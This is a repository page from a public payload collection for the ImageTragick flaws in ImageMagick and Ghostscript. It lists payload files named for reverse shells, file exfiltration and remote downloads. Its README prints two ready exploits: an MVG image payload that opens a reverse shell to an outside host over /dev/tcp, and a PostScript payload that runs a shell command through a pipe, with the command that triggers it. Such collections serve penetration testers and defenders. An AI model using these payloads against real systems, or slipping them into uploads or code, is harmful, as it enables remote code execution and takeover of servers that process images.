PayloadsAllTheThings/Upload Insecure Files/Picture Image Magik
2019-08-29 01:08:26 +02:00
..
imagemagik_ghostscript_reverse_shell.jpg Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik1_payload_imageover_file_exfiltration_pangu_wrapper.jpg Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik1_payload_imageover_file_exfiltration_text_wrapper.jpg Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik1_payload_imageover_reverse_shell_devtcp.jpg Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik1_payload_imageover_reverse_shell_netcat_fifo.png Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik1_payload_imageover_wget.gif Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik1_payload_url_bind_shell_nc.mvg Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik1_payload_url_curl.png Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik1_payload_url_portscan.jpg Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik1_payload_url_remote_connection.mvg Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik1_payload_url_reverse_shell_bash.mvg Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik1_payload_url_touch.jpg Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik1_payload_xml_reverse_shell_nctraditional.xml Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik1_payload_xml_reverse_shell_netcat_encoded.xml Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik2_burpcollaborator_passwd.jpg Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik2_centos_id.jpg Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik2_ubuntu_id.jpg Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik2_ubuntu_shell.jpg Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
imagetragik2_ubuntu_shell2.jpg Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00
README.md Network Discovery - Masscan update 2019-08-29 01:08:26 +02:00

Image Tragik 1 & 2

Exploit v1

Simple reverse shell

push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'
pop graphic-context
pop graphic-context

Exploit v2

Simple id payload

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

then use convert shellexec.jpeg whatever.gif

Thanks to